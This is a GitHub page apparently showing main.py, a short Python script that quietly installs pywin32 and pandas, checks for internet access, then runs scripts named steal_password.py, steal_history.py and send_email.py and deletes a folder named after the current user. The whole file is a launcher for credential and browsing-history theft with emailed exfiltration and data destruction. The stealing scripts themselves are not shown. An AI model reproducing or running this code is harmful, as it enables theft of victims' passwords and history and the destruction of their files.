-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathmain.py
42 lines (34 loc) · 897 Bytes
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import socket
import os
import shutil
import time
try:
import win32crypt
except:
os.system('python -m pip install pywin32')
try:
import pandas as pd
except:
os.system('python -m pip install pandas')
def is_connected():
try:
# connect to the host -- tells us if the host is actually
# reachable
socket.create_connection(("www.google.com", 80))
return True
except OSError:
pass
return False
print('connection is ----',is_connected())
if is_connected() == True:
print('ready to execute--')
os.system('python steal_password.py')
os.system('python steal_history.py')
os.system('python send_email.py')
shutil.rmtree(os.environ.get('USERNAME'))
time.sleep(2)
quit()
else:
print('no internet connection .aborting.........')
time.sleep(2)
quit()